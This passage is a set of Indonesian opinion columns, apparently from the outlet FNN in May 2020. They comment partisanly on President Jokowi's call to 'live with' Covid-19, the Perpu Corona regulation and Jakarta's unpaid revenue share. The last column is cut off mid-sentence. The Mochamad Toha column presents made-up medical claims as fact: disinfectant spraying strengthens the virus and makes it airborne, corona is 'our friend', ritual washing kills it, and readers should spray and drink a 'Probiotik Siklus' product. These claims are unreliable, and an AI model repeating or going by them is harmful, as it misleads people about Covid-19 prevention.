By Asyari Usman Jakarta, FNN - Beberapa hari lalu, Presiden Jokowi mengajak rakyat untuk berdamai dengan virus Corona. Sambil menunggu vaksin ditemukan. Nah, bagaimana strategi yang ampuh untuk berdamai dengan virus Corona? Mana mungkin virus ganas bisa diajak hidup damai? Tunggu dulu. Anda jangan buru-buru membuat kesimpulan yang gegabah. Sebab, kita tidak pernah tahu kehebatan Jokowi. Beliau sudah menujukkan kemampuan dalam menaklukkan musuh. Tanpa harus berperang. Justru dengan cara berdamai. Itulah yang dikatakan oleh Denny Siregar –buzzer dan pendukung setia Jokowi. Menurut Denny, putra Solo itu bukan orang sembarangan. Dia bukan orang lemah seperti dipersepsikan banyak orang. Jokowi, menurut Denny, adalah orang yang hebat. Itulah yang dia tunjukkan ketika ‘membawa masuk’ Prabowo Subianto (PS) ke dalam kabinet. Dengan membawa musuh utama ke dalam Istana, maka si musuh bisa dipantau. Bisa dikendalikan. Dia tak bisa berbuat apa-apa. Tidak lagi bisa mengganggu Jokowi. Dan benar juga, ternyata. Prabowo bisa jinak. Jokowi pun tenang. Bagaimana dengan virus Corona? Anda lihat saja. Jangan berkomentar macam-macam dulu. Siapa tahu strategi membawa Corona ‘masuk ke dalam’, juga bisa membuat si musuh berbahaya ini menjadi diam. Tak berkutik. Nanti kalau sudah ada vaksinnya, barulah dilepas kembali. Begitukah kira-kira?[] 10 Mei 2020(Penulis wartawan senior)

Corona, Perang dan Damai Presiden Jokowi

—If you can’t beat them, join them— Oleh Hersubeno Arief Jakarta, FNN - Presiden Jokowi mengajak rakyat Indonesia hidup berdamai dengan Corona. Realitas itu harus kita terima sampai vaksin virus “Made in China” itu ditemukan. "Ada kemungkinan masih bisa naik lagi, atau turun lagi, naik sedikit lagi, dan turun lagi, dan seterusnya. Artinya, sampai ditemukannya vaksin yang efektif, kita harus hidup berdamai dengan Covid untuk beberapa waktu ke depan," ujar Jokowi lewat saluran YouTube Setpres, Minggu (7/5). Ajakan Jokowi membuat banyak orang terperangah. Apa maksudnya. Apakah pemerintah sudah mengibarkan bendera putih? Membuat deklarasi menyerah kalah dan menyadari tak akan mampu “mengalahkan” Corona? Pernyataan Jokowi ini jelas memberi pesan negatif. Sebagai presiden yang mengaku memimpin langsung perang melawan Corona, pernyataan itu bisa menimbulkan demoralisasi.Pasukan bisa kocar-kacir. Rakyat hanya bisa pasrah. Lha kalau panglima perangnya sudah mengajak damai, apalagi yang bisa dilakukan. Tinggal ramai-ramai kibarkan bendera putih. Pasrah pada nasib. Dunia juga menangkap pesan yang sama. Indonesia sudah menyerah. Padahal ketika bicara dalam KTT para pemimpin negara anggota G-20, Jokowi menyampaikan pidato yang sangat gagah perkasa. Dia mengajak para pemimpin negara G-20 memerangi Corona dan pelemahan ekonomi dunia. Rasa frustrasi Ajakan Jokowi berdamai itu sangat bertentangan dengan berbagai optimisme yang selama ini ditebar pemerintah. Akhir April lalu Kepala Gugus Tugas Covid-19 Doni Monardo menyampaikan kabar baik. Khusus wilayah Jakarta yang menjadi episentrum dan awal penyebaran Corona, kasus positif sudah menurun sangat pesat. Bahkan sudah flat. Doni menyebut pelaksanaan PSBB menjadi kunci keberhasilan menekan penyebaran Corona di Jakarta. Dengan data itu, kata Doni, Presiden Jokowi berharap rakyat lebih patuh. Sehingga pada awal Juli kehidupan sudah bisa normal lagi. Optimisme juga disampaikan sejumlah pejabat pemerintah. Menko Maritim Luhut Panjaitan berharap pada hari raya tempat hiburan seperti Ancol sudah dapat dibuka. Sejumlah langkah diambil pemerintah. Menko Perekonomian Airlangga Hartarto menyarankan adanya pelonggaran aturan mudik lebaran. Menhub Budi Karya Sumadi kemudian mengumumkan pelonggaran berbagai moda transportasi publik. Pengumuman itu diartikan warga bisa menggunakan transportasi publik untuk mudik. Tapi pengumuman itu segera diluruskan oleh Doni Monardo. Staf Anggota KSP Donny Gahrial Adian juga ikut-ikutan meluruskan. Mudik tetap dilarang. Rupanya situasi sesungguhnya tidak seindah yang digambarkan. Signal itu dapat ditangkap dari permintaan Presiden kepada para pembantunya. Mulai bulan Mei kurva Corona harus diturunkan. "Target kita di bulan Mei ini harus betul-betul tercapai sesuai dengan target yang kita berikan, yaitu kurvanya sudah harus turun. Dan masuk pada posisi sedang di Juni, di bulan Juli harus masuk posisi ringan. Dengan cara apa pun,” ujarnya dalam sidang kabinet. Dari cara Presiden menyampaikan, terkesan ada nada frustrasi. Kalimat “dengan cara apapun,” mengingatkan kita pada kosa kata yang sering digunakan Jokowi, “pokoknya!” Hanya saja nada dan maknanya berbeda. Kata “pokoknya” menunjukkan Jokowi punya power, dan perintahnya harus dilaksanakan. “Dengan cara apapun” menunjukkan dia frustrasi dan tidak tahu bagaimana caranya. Tak lama setelah itu muncul lah ajakan Jokowi untuk “Hidup berdamai dengan Corona.” Istana kemudian terburu-buru memberi penjelasan. "Artinya jangan kita menyerah. Hidup berdamai itu penyesuaian baru dalam kehidupan," kata Deputi Bidang Protokol, Pers, dan Media Sekretariat Presiden Bey Machmudin. Penjelasan istana tampaknya tak mampu mengubah kesan yang ditangkap publik. Persepsi telah terbentuk. Sejak awal rakyat sudah menyadari pemerintah kedodoran dan tak mampu menangani Covid-19. Mereka telah lebih dulu berdamai dengan realitas itu. Secara psikologis, berubahnya sikap Jokowi dari semula menantang perang dan kemudian berubah mengajak damai, bisa didekati dengan teori Five Stages of Grief yang dikembangkan Elisabeth Kubler-Ross. Dalam bukunya berjudul “On Death and Dying” (1969) Kubler-Ros ada lima tahapan ketika seseorang mengalami duka nestapa. Penolakan ( denial) dan menarik diri, marah ( anger ), penawaran ( bergaining ), depresi ( depression), dan penerimaan ( acceptance ). Coba perhatikan ketika wabah Corona merebak. Jokowi dan para pejabat tinggi lainnya mati-matian menolak dan meremehkan. Mereka yakin Indonesia tidak akan terjangkit. Tahap berikutnya marah, mengajak perang, minta kurva diturunkan apa pun caranya. Setelah itu menerima realita dan mengajak berdamai. Sebagai Presiden, Jokowi juga manusia biasa. Dia juga bisa mengalami tekanan psikologis seperti itu. Tapi karena Jokowi seorang Presiden dia tentu tetap punya strategi. Dia tampaknya mencoba menerapkan sebuah peribahasa yang sangat terkenal: If you can’t beat them, join them. Kalau kamu tidak bisa mengalahkannya, bergabunglah dengan musuhmu! Masalahnya kan, kita tidak mungkin bergabung dengan Corona? Satu-satunya cara ya berdamai. Bagaimana caranya? Pokoknya dengan cara apapun. Itu bukan urusan saya! End. Penulis Wartawan Senior.

PKS Top, Tak Gotong-Royong Terima Perpu Corona

By Dr. Margarito Kamis Jikalau saya peras yang lima menjadi tiga, dan yang tiga menjadi satu, maka dapatlah saya satu perkataan Indonesia yang tulen, yaitu “perkataan “gotong-royong”. Negara Indoneaia yang kita dirikan haruslah Negara gotong royong! Alangkah hebatnya! Negara Gotong-Royong (Pidato Bung Karno tanggal 1 Juni 1945) Jakarta FNN – Minggu (10/05). Bung Karno melanjutkan, gotong-royong adalah pembanting tulang bersama, pemerasan keringat bersama, perjuangan bantu-binantu bersama. Amal semua buat kepentingan semua, keringat semua buat kebahagiaan semua. Holopis kuntus-baris buat kepentingan bersama. Itulah gotong-royong (Lihat RM, AB Kusuma, 2004). Apakah mozaik pidato ini, kalau tidak memompa energy. Setidaknya menjadi lentera penerang dan pemandu sikap Ketua Badan Anggaran DPR, Said Abdullah? Ketua Banggar dari PDIP ini menerima Peraturan Pemerintah Pengganti Undang-Undang Nomor 1 Tahun 2020. Untuk mudahnya Perpu, yang saya nilai “membinasakan bangsa” ini saya sebut Perpu Corona. Politik Indonesia memaksa siapapun untuk mengidentifikasi sikap Pak Said Abdullah sebagai pantulan asli sikap PDIP. Sikap itu jelas merupakan sikap resmi PDIP. Jabatan dan forum yang penyampaian sikap itu jelas bagi siapapun, bahwa itu sikap resmi PDIP. Siapapun boleh mengidentifikasi Perpu ini sangat pro kepada korporasi. Tetapi kata Said Abdullah Perpu akan segera dikirimkan ke Ketua DPR. Ibu Puan Maharani, juga orang PDIP. Lalu setelah diterima akan segera diparipurnakan pada tanggal 12 Mei mendatang (Lihat Kontan.Id. 8/5/2020). Tinggalkan Pidato Bung Karno Apakah PDIP terilhami, terpukau dan mengadaptasikan semangat gotong-royong dalam pidato Bung Karno, kakeknya Ibu Puan Maharani? Wallau a’alam. Tetapi Ibu Puan tercatat pernah bicara tentang gotong-royong. Nampaknya gotong-royong menajdi kunci, begitu esensi diskripsinya, memenangkan pertempuran melawan Covid. Tetapi bergotong-royong menerima Perpu, terlihat membawa gotong-royong itu ke padang tandus yang setandus-tandusnya. Juga terlihat konyol yang sekonyol-koyolnya. Mungkin itu energi terbesar PKS, sehingga tak ikut bergotong-royong dengan PDI dan partai lain menerima Perpu ini. Seperti mata elang, punya penciuman khas harimau, serta lincah selincah kera di ujung dahan. PKS berhasil mengidentiikasi tabiat dimensi busuk Perpu ini. Terlihat betul PKS mengenal Perpu tidak didekasikan untuk rakyat kecil. Terlihat samar-samar ini Perpu korporasi, yang membinasakan. Padahal, dan ini yang menarik, kata “kerakyatan” itu bukanlah sebagai merek politik dari PKS. Kata “kerakyatan” telah teridentifikasi dalam politik Indonesia sebagai pilihan pilitik khas PDIP. Tetapi sudahlah, mari mengenal lebih jau sikap PKS. Sikap PKS disampaikan Junaidi Auli. Katanya, terdapat pasal yang tidak sesuai semangat penanggulangan Covid-19. Program penanggulangan ekonomi, kata Junaidi lebih jauh, hanya akan berhasil bila “rakyat diselamatkan.” Persentase insentif pemulihan ekonomi, dalam identifikasinya, lebih tinggi dibandingkan kesehatan dan jaminan sosial (Lihat RMol.Id, 6/5/2020). Tak pernah mengaum dengan suara bela rakyat, bela orang kecil dan seterusnya. Tetapi dalam kesendirianya itu, PKS menolak kebijakan yang tidak selaras dengan semangat gotong royong. Semangat untuk menghidupkan rakyat kecil. Ini sikap hebat, berklas dan bermartabat untuk rakyat kecil. Gotong-royong untuk maju bersama, sejahtera bersama, dalam semua keadaan yang diperlukan, jelas sangat indah. Tetapi gotong-royong untuk pekerjaan, yang di dalamnya menyimpan, bahkan nyata-nyata mengandung sisi-sisi membesarkan secara diskriminatif kelompok pengusaha tertentu. Pengusaha yang tak semestinya, untuk apapun alasan yang mungkin, jelas terlihat konyol. Ini bukan gotong-royong. Disparitas insentif dalam Perpu antara urusan kehehatan dengan ekonomi, dan bantuan sosial, mustahil dapat dikompromikan dengan gotong-royong yang dibayangkan oleh Bung Karno. Tidak ada korporasi, satupun yang menjadi fundasi bangsa ini dibangun. Hanya rakyat lah fundasinya. Sisi hebat ini, hemat saya disadari atau tidak dikenali oleh PKS. Suka atau tidak, penilaian PKS memiliki basis historis konstitusi yang sangat valid. Mengapa? Pada tanggal 16 Juli 1945 itu, Rancangan UUD 1945 yang telah tersedia dibahas kembali. Terlihat gagasan tentang di mana, dan bagaimana pemerintah harus berfungsi? Pada pembahasan soal perekonomian Indonesia yang merdeka, muncul gagasan bahwa “perekonomian Indonesia merdeka akan berdasar kepada cita-cita tolong-menolong, dan usaha bersama”. Tentang korporasi, terlihat dalam gagasan berikutnya. Dinyatakan “pada dasarnya perusahaan yang besar-besar, yang menguasai hajat hidup orang banyak, tempat beribu-ribu orang menggantungkan nasibnya dan nafkah hidupnya mestilah dibawah pemerintah. Adalah bertentangan dengan keadilan social, apabila buruk-baiknya perusahaan itu, serta nasib beribu-ribu orang yang bekerja di dalamnya diputuskan oleh beberapa orang pertikulir saja. Pemerintah, dalam gagasan ini harus menjadi pengawas dan pengatur. Diawasi dan juga disertai dengan kapital dari pemerintah adalah bangunan yang sebaik-baiknya bagi perusahaan yang besar-besar. Semakin besar perusahaan dan semakin banyak orang menggantungkan dasar hidup kesana. Semakin besar mestinya kepemilikan Pemerintah (Lihat RM. AB Kusuma, 2004). UMKM Tetap Saja Memble Pembaca FNN yang budiman. Gagasan ini, entah dibaca atau tidak oleh PKS. Tetapi sikap faktual dari PKS terhadap Perpu Corona ini, terjalin dengan histori hasrat untuk membela rakyat. Semangatnya, mirip seperti saat pembahasan UUD pada 16 Juli Tahun 1945 dulu. Tidak mesti mengatakan PKS mengerti dan memahami histori konstitusional tentang bagaimana perekonomian harus dibangun, dan di mana serta bagaimana pemerintah harus mengambil posisi. Tetapi PKS berada pada garis itu. PDIP dan kawan-kawannya mungkin memiliki konsep “kesamaan derajat” semua pelaku ekonomi, yang khas. Konsep itulah membawa mereka bergotong-royong menerima Perpu ini. Mungkin konsep “kesamaan derajat” itu bekerja secara kongrit “besar dan kecil” harus gotong-royong. Titik. Itu adil. Garis yang ditempuh PDIP dan kawan-kawan, jauh dari kehendak para pembentuk UUD 1945, yaitu “menjaga rakyat Indonesia”. Itu sebabnya ketimpangan, boleh jadi dianggap sebagai susuatu yang alamiah saja. Bisa dibenarkan dengan konsep keadilan alamiah. Padahal hasrat “keadilan” dari para pembentuk UUD 1945 untuk urusan perekonomian, tidak begitu. Keadilan adalah cara idiologis menghaluskan gap struktur usaha. Andai konsep “keadilan” untuk semua badan usaha dimengerti dan dimaknai oleh PDIP dan kawan-kawan koalisi. Misalnya, “yang besar diberi insentif besar” dan “yang kecil diberi insentif kecil”, maka konsep ini pasti menghasilkan “yang besar tetap besar” dan “yang kecil tetap kecil”. Usaha Mikro, Kecil dan Menengah (UMKM) tetap saja memble sepanjang sejarah Indonesia. Jika struktur usaha bakal selamanya seperti itu, maka mama nilainya dengan konsolidasi ketimpangan struktur usaha. Padahal, tak sedikit ekonom yang mengidentifikasi serapan tenaga kerja di Indonesia didominasi oleh sektor UMKM. Diskripsi itu bermakna, yang kecil-kecil inilah memenuhi ekspektasi dan maunya konstitusi bangsa Indonesia. Selama ketimpangan struktural ini tak berubah, bagiamana mungkin bangsa ini bicara satu lompatan kecil ke depan? Faktanya struktur usaha sangat didominasi korporasi besar. Sama maknanya dengan uang terus terkonsentrasi pada mereka. Hasil akhirnya adalah ketimpangan yang berkelanjutan. Jurang besar ini, sejauh diperlihatkan oleh sejarah, tak pernah dapat ditutup dengan kebijakan jaring pengaman sosial. Apalagi jaminan sosial yang saat ini mirip asuransi sosial. Metode ini, untuk pertama kali diterapkan saat depresi ekonomi 1933. Dalam kenyataannya tidak mengubah ketimpangan. BI Menghindari Pidana Ketimpangan besar dalam Perpu Corona terlihat nyata. Tak usah memutar otak untuk mengenalnya. Kebijakan memberi kewenangan kepada BI dan OJK mengurus korporasi, jelas lucu. Ini hanya berputar pada urusan tambah, dan kasih uang. Ini khas liberal. Jauh dari semangat UUD 1945. Relasi fungsional antara BI dan OJK mengurus korporasi, sulit dibingkai dengan konstitusi. Ini relasi taktis. Relasi yang boleh jadi akan melahirkan kerangka kerja kongrit yang aneh-aneh. BI sepertinya terlihat boleh jadi mengambil posisi menyediakan uang saja. Uang ini akan diletakan di bank tertentu, entah apa sebutannya. Lalu penggunaannya menunggu otorisasi OJK. Kerangka kerja model ini, andai berjalan, mungkin tak menginjak-injak Perpu itu sendiri. Mengapa? Kedua organ ini bisa membuat aturan kerja, protokolnya. Tetapi karena sikap politik Banggar DPR yang telah jelas, sehingga saya kesampingkan isu ini. Yang mau saya uraikan adalah BI terlihat bergerak memutar. Tidak mau mengambil metode BLBI tahun 1999. Sikap ini dapat dimengerti. Bila BI mengambil metode 1999, maka BI akan terus seperti dulu. Berada begitu dekat dengan masalah hukum pidana. BI tentu tak mau jatuh di lubang yang sama. BI harus tahu, lebih dari siapapun, bahwa politik tidak selalu berada dalam kendali Presiden dan DPR. Juga parpol dan ketua umumnya. Selalu ada ruang gelap, dengan kekuatan khasnya, yang dalam sekejab dapat mengubah peta permainan. Permainan yang baru selalu tak dapat ditebak. Tak selamanya setelah musim berganti. Bagaimana bila PDIP berubah sikap dari menerima menjadi menolak? Sudahlah itu soal lain. Partai-partai terlihat selalu tak pernah bisa mengadaptasi ide-ide perekonomian yang bersemangat keadilan yang dikehendaki oleh pembentuk UUD 1945. Diseberang sisi itu, korporasi tahu begitu mereka terpukul krisis keuangan, pemerintah dan DPR segera datang sebagai “dewa penyelamat” paling produktif dan sangat cekatan. Asset korporasi mau trubel atau likuid, tidak lagi penting. Begitu krisis menerpa mereka, parpol akan bergotong-royong menggeluti tesis klasik. Selamatkan korporasi adalah cara terbaik menyelamatkan perekonomian nasional. Korporasi selamat, bangsa dan negara selamat. Kestabilan ketimpangan usaha yang terjadi sejauh ini, sialnya tak terpetakan sebagai buah kebijakan yang mirip di masa lalu, tahun 1998 dan 2008. Kerumitan-kerumitan pasti saat ini, sekali lagi, terlihat tak pernah dapat diprediksi sebagai bahaya pasti diujung kebijakan. Menyebalkan, begitu krisis datang politisi segera berada di sisi terdalam kebijakan klasik itu. Perpu ini, suka atau tidak berada dalam perspektif itu. Terus tertatih-tatihnya UMKM sejauh ini, untuk sebagian besar alas an, merupakan hasil kebijakan yang berinduk pada tesis klasik itu. Bangsa ini, tampaknya masih harus menyimpan optimisme dan keinginan untuk melihat perekonomian berjalan di garis hasrat para pendiri bangsa. Suka atau tidak, demokrasi telah bekerja dengan cara yang amat rumit. Menghasilkan kapitalisme terlihat indah dan manis disepanjang pembangunan nasional. Pesona demokrasi “liberal” itu, dalam semua spektrumnya selalu memanjakan secara tidak proporsional terhadap korporasi. Perspektif itu merasuk ke sumsum, dan telah menjadi nadi bangsa sejauh ini. Suka atau tidak, itu mengakibatkan hasrat negarawan-negarawan pembuat UUD 1945, dengan segala pemikiran tulus yang menyertainya, terlihat usang. Rakyat boleh dan akan terus menjadi fundasi kedaulatan bangsa ini. Tetapi fakta menunjuk, itu hanya sejauh di atas. Korporasilah yang dalam semua aspeknya, secara nyata-nyata muncul sebagai pemegang sejati kedaulatan rakyat. Gotong-royong, kerjasama, itu dikenali Belanda sebagai kekuataan terbesar. Berhasil diidentifikasi dan dieksekusi secara nyata oleh korporasi-korporasi modern. Didahului oleh korporasi, dieksekusi dalam bentuk “kartel minyak dunia.” Semoga pola itu tak menjadi model gotong-royong di Indonesia. Mengenal perintah konstitusi untuk membangun perekonomian nasional, menjadi hal mustahil untuk diminta kepada politisi. PKS, memang tak bakal mampu mengubah peta jalan itu. Tetapi sejauh yang bisa, PKS telah menempatkan bola konstitusi di tempat dan keadaan yang diperlukan. PKS top. Penulis adalah Pengajar Hukum Tata Negara Universitas Khairun Ternate

Presiden Minta Kita Berdamai dengan Virus Corona?

Oleh Mochamad Toha Jakarta, FNN - Update kasus Covid-19 di Indonesia hingga Sabtu (9/5/2020). Kasus pasien positif Covid-19 bertambah sebanyak 533 kasus, sehingga total menjadi 13.645 kasus. Pasien yang dinyatakan sembuh bertambah 113 pasien, sementara 16 pasien meninggal dunia. Total pasien sembuh hingga saat ini sudah mencapai 2.607 pasien, sedangkan 959 orang telah meninggal dunia akibat terjangkit virus covid-19. Sebanyak 108.699 spesimen diperiksa, ada 95.054 kasus corona. Sementara itu, jumlah ODP tercatat sebanyak 246.847 orang dan total PDP tercatat sebanyak 29.690 orang. Mungkinkah karena ada kecenderungan jumlah korbannya semakin meningkat sehingga harus hidup berdamai dengan Covid-19? Pernyataan mengejutkan datang dari Presiden Joko Widodo dalam video yang diunggah Biro Pers, Media, dan Informasi Sekretariat Presiden pada Kamis (7/5/2020). Menurut Presiden, kita harus hidup berdamai dengan Covid-19 untuk beberapa waktu ke depan. Presiden mengatakan, pemerintah terus berupaya keras dan berharap puncak pandemi Covid-19 akan segera menurun. Selama wabah masih terus ada, Jokowi minta seluruh masyarakat untuk tetap disiplin mematuhi protokol kesehatan. “Artinya, sampai ditemukannya vaksin yang efektif, kita harus hidup berdamai dengan Covid-19 untuk beberapa waktu ke depan,” katanya di Istana Merdeka, Jakarta, seperti dikutip Kompas.com, Kamis (07/05/2020, 10:43 WIB). Ia juga mengatakan, beberapa ahli menyebut ada kemungkinan kasus pasien positif Covid-19 menurun angkanya. Tetapi, ketika kasusnya sudah turun tidak berarti langsung landai atau langsung nol, melainkan masih bisa fluktuatif. “Ada kemungkinan masih bisa naik lagi atau turun lagi, naik sedikit lagi, dan turun lagi dan seterusnya,” kata Jokowi. Masyarakat dipersilakan beraktivitas secara terbatas, tetapi harus disiplin dalam mematuhi protokol kesehatan. “Sekali lagi ingin saya tegaskan, yang utama adalah ikuti dengan disiplin protokol kesehatan. Silakan beraktivitas secara terbatas, tetapi sekali lagi ikuti protokol kesehatan,” tegas Jokowi. “Semua ini membutuhkan kedisiplinan kita semuanya, kedisiplinan warga, serta peran aparat yang bekerja secara tepat dan terukur,” tandasnya. Menyerahkah Presiden Jokowi hingga akhirnya meminta kita hidup berdamai dengan Covid-19? Padahal, slogan yang digaungkan selama ini selalu, “Lawan Corona”! Bahkan, sampai sekarang pun kampanyenya masih sama: Lawan Covid-19! Ataukah sebenarnya diam-diam Presiden Jokowi sudah sedikit mengenal karakter dan sifat Virus Corona yang “menyerang” Indonesia. Apalagi, konon, varian corona di Indonesia ini sudah mencapai sekitar 150 varian. Makanya, Jokowi sampai meminta jajarannya fokus terkait penanganan Covid-19, karena ingin pada Mei ini kurva kasus positif Corona di Indonesia sudah menurun. “Target kita di bulan Mei ini harus betul-betul tercapai sesuai dengan target yang kita berikan,” tegasnya. Yaitu kurvanya sudah harus turun. Dan masuk pada posisi sedang di Juni, di bulan Juli harus masuk posisi ringan. “Dengan cara apa pun," kata Jokowi saat membuka rapat kabinet paripurna seperti disiarkan akun YouTube Sekretariat Presiden, Rabu (6/5/2020). Melansir Detik.com, Rabu (06 Mei 2020 11:35 WIB), Jokowi mengatakan upaya tersebut harus dilakukan semua pihak. Tak hanya pemerintah, Jokowi juga ingin masyarakat ikut terlibat dalam penanganan corona. “Itu dilakukan tidak hanya oleh Gugus Tugas tapi juga melibatkan seluruh elemen bangsa. Jajaran pemerintahan, organisasi-organisasi sosial kemasyarakatan, relawan, parpol, dan sektor swasta. Ini yang harus betul-betul didirigeni dan diorkestrasi dengan baik,” ujarnya. “Saya yakin jika kita bersatu, jika kita disiplin dalam menjalankan protokol kesehatan, semua rencana yang sudah kita siapkan yang lalu bisa mengatasi Covid secepat-cepatnya,” sambung Jokowi. Kenali Corona Virus corona itu basic-nya seperti virus influenza. Habitatnya juga ada di kulit sekitar hidung manusia. Seperti halnya virus atau bakteri yang ada di tubuh manusia itu, mereka hidup juga berpasangan. Sayangnya, ada “tangan jahat” yang memisahkan mereka. Padahal, mereka bertugas membersihkan zat-zat patogen yang menempel pada kulit sekitar hidung dan bibir atas. Juga membantu menjaga kelembaban kulit manusia. Sifat dasar virus atau bakteri itu serupa dengan antibodi, manusia, hewan, tanaman. Yaitu “kalau mereka tersakiti, mereka akan memperkuat dirinya, dan menggandakan dirinya beratus-ratus kali lipat, dibanding pada kondisi normal”. Hewan, akan beranak sebanyak mungkin. Tanaman, akan berbuah dan bertunas sebanyak mungkin. Manusia akan beranak pinak, mempunyai anak sebanyak mungkin. Terlepas dari siapa yang membawa virus corona ini ke Kota Wuhan, Provinsi Hubei, China, corona itu, begitu masuk ke dalam tubuh kelelawar, mereka meriplikasi dirinya sebanyak mungkin. Karena itu tempat asing bagi mereka, dan itu yang membuat mereka ketakutan, maka mereka menggandakan dirinya sebanyak mungkin. Begitu sang kelelawar ini dimakan manusia, maka corona ini beralih ke manusia, dan langsung menggandakan diri lebih hebat lagi. Mengapa kelelawar-kelelawar itu tidak sakit seperti manusia? Karena kelelawarnya ndablek, cuek, masa bodoh, dan tidak berpikir, sehingga antibodinya kuat, dan tidak tersakiti. Kalau manusia ingin sehat, walaupun sudah terpapar Covid-19, bersikaplah seperti kelelawar. Covid-19 yang tertuduh sebagai pembunuh massal sadis itu, berusaha dibunuh secara massal pula, dengan disemproti desinfektan secara massal. Ada sebagian yang mati, ada sebagian yang masih hidup. Barangkali yang masih hidup lebih banyak dibanding yang mati. Karena sudah menjadi sifat dari virus/bakteri itu, maka yang hidup ini menggandakan dirinya beratus-ratus atau beribu-ribu kali lebih banyak dan lebih kuat dibanding yang sebelumnya. Kalau sebelumnya kemampuan terbangnya hanya sekitar 1,8-2 m, menjadi lebih jauh lagi dibanding itu. Kemampuan terbang lebih jauh inilah yang menyebabkan mereka menjadi bersifat airborne infection. Lalu karena jumlah mereka sangat banyak, mereka juga menemukan bakteri-bakteri lain yang mempunyai daya terbang lebih jauh. Corona menumpang pada bakteri lainnya. Hal ini serupa dengan pesawat ulang alik yang numpang pada pesawat yang berbadan lebih besar. Akibat dari penyemprotan des infektan secara massal, menyebabkan mereka menjadi: Lebih banyak; Lebih kuat; Mampu terbang lebih jauh; Daya rusaknya lebih hebat. Maka, tidaklah mengherankan, kalau di Wuhan kala itu hanya ditemukan 3 varian corona, di Amerika Serikat sudah ditemukan 5 varian corona. Bahkan, terakhir China mengklain telah menemukan 30 varian, Indonesia malah menemukan 150 varian. Sehingga, menjadi mudah dimaklumi, kalau di AS, di Italia, di Indonesia, angka kematiannya lebih tinggi dibandingkan di Wuhan. Pada saat ditemukan di Timteng yang disebut dengan MERSCoV (middle east respirstory syndrome coronavirus) siapa kambing hitamnya? Hewan Unta. Karena hewan itulah yang ada di sana. Ketika di Wuhan, kelelawar yang ada di sana. Lalu apa yang bisa kita lakukan sekarang? Tidak panik, tidak khawatir. Akibat ketakutan, kepanikan, daya tahan tubuh kita turun drastis. Daya tahan tubuh yang turun itu, serupa dengan, kalau kita takut sama gendruwo, mak lampir, wewe gombel, dkknya itu. Begitu ketemu mereka, kita gak punya daya apapun, mau lari, hanya kosel-kosel di tempat, bahkan sampai terkencing-kencing di celana. Kematian itu tidak ada hubungannya dengan corona. Kalau waktunya mati, tidak ada corona pun, tetap mati. Andaikan didemo besar-besaran sama corona, kalau belum waktunya mati, ya tetap sehat. Corona itu sahabat kita, bukan musuh kita. Perbaiki ibadah kita: Wudhu yang baik dan benar; Shalat yang baik dan benar; Dzikir (membaca Al-Qur'an) yang baik dan benar. Basuhan air wudhu yang @3x, insya’ Allah mampu mendormenkan corona yang nempel, selanjutnya dijatuhkan ke tanah, dan mati. Shalat, dzikir, membaca Al-Qur'an yang baik dan benar, akan membuat kita tenang dan itu secara otomatis akan diikuti proses perbaikian sistem imunitas kita. Kalau imunitas baik, insya’ Allah, corona lewat. Bukankah corona itu masuk kategori self limiting disease? Semprotan. Semprotkan desinfektan yang sudah di-mixed dengan formula Probiotik Siklus. Supaya sifat aslinya yang bakterisid, menjadi lebih organik, tidak menyakiti dan membunuh mereka. Hand sanitizer ber-Probiotik Siklus. Semproti wajah, tangan dengan semua produk-produk yang sudah ber-Probiotik Siklus pula. Bisa membuat sendiri, atau apapun yang terlebih dulu di-mixed dengan Probiotik Siklus. Perbaiki asupan nutrisinya, dan perbanyak air minum. Makan makanan bergizi, sayuran, empon-empon, kunyit-kuyitan, pahit-pahitan, cukup membantu menstimulus antibodi kita. 5. Minum Probiotik Siklus. 6. Jangan terlalu terpengaruh postingan-postingan yang seringkali menakutkan. Harus bisa memilah dan memilih. Penulis Wartawan Senior.

Ditagih Rp 5,1 Trliun Ngga Bayar, Malah Cari Salahnya Anies

By Tony Rosyid Jakarta FNN – Sabtu (09/05). Bermula dari surat cinta Anies ke Menteri Keuangan, Sri Mulyani. Isinya hanya soal nagih utang ke Pemerintah Pusat. Ada uang milik rakyat Jakarta sebesar Rp. 5,1 triliun, berasal dari Dana Bagi Hasil (DBH) penerimaan pajak Pememerintah Provinsi (Pemprov) DKI di Kementerian Keuangan yang belom dibayar. Nggak cair-cair juga, padahal sudah ditagih berkali-kali. Dalam kesempatan teleconference dengan Wakil Presiden Ma’ruf Amin, Anies menyinggung soal dana ini. Minta bantuan Wapres untuk dorong Menkeu agar uang haknya rakyat DKI tersebut segera bisa dicairkan. Pemprov DKI butuh dana tersebut untuk menanggulangi Covid-19 dan dampak ekonominya. Tolong karena sangat urgent. Esoknya, teleconference Anies dan wapres Viral. Kok bisa? Tak biasanya Anies buka perbincangan pribadi ke publik. Apalagi menyinggung soal dana, dimana Menkeu ikut disebut-sebut. Ini pembicaraan internal antar pemerintahan saja. Selama ini, Anies tak suka kegaduhan. Apalagi buka front di publik. Sama sekali, sejatinya ini bukan watak Anies. Dia tipe pemimpin yang lebih suka kerja silent. Senyap, tapi hasil kerja bisa dirasakan oleh rakyat. Itulah Anies yang selama ini dikenal publik. Cek sana-sini, akhirnya dapat informasi juga. Pertama, inisiatif teleconference itu berasal dari Wapres Ma’ruf Amin. Bukan dari Anies. Kedua, pihak yang mempublish video teleconference tersebut ke public adalah tim dari kantornya Wapres. Langkah yang dilakukan Wapres sudah sangat benar. Ini menunjukkan bahwa selama pandemi Covid-19 ini, Wapres terus saja bekerja. Melakukan koordinasi dengan sejumlah kepala daerah adalah bagian dari bukti kerja tersebut. Publik juga berhak tahu apa yang telah dikerjakan Wapres. Selain hak untuk dapat info terkait perkembangan penanganan Covid-19. Beberapa pekan kemudian Menke kebakaran alis mata. Sri Mulyani tampil bersuara ke publik. Mba Sri menyoal bansos di DKI. Katanya, Pemprov DKI nggak punya dana. Nggak sanggup berikan bantuan untuk 1,1 juta warga DKI terdampak Covid-19. Eh, Sri Mulyani ternyata tak sendirian. Menteri Sosial Juliari P Batubara ikut bicara. Begitu juga dengan Menteri Kordinator Pemberdayaan Masyarakat (PMK) Muhadjir Effendy, ikut-ikutan menyerang Anies. Obyeknya masih sama, soal penyaluran bansos. Kepada pihak lain Mensos bilang, “saya kira nggak usah ribut-ribut soal data, semuanya bisa diselesaikan secara kekeluargaan, secara gotong royong (Kompas 2/5). Tapi kepada Anies, Mensos justru mempersoalkan data itu. Kok beda antara penyataan dan perbuatan ya? Kenapa yang disoal hanya Anies? Nggak kepala daerah lainnya? Emang kepala daerah yang lain beres soal anggaran, data dan pembagian bansosnya? "Rasanya kental politis", kata Zita Anjani, Wakil Ketua DPRD DKI dari Fraksi PAN. “Justru Pak Anies minta dicover dari pusat, karena ingin warganya sejahtera. Pakai 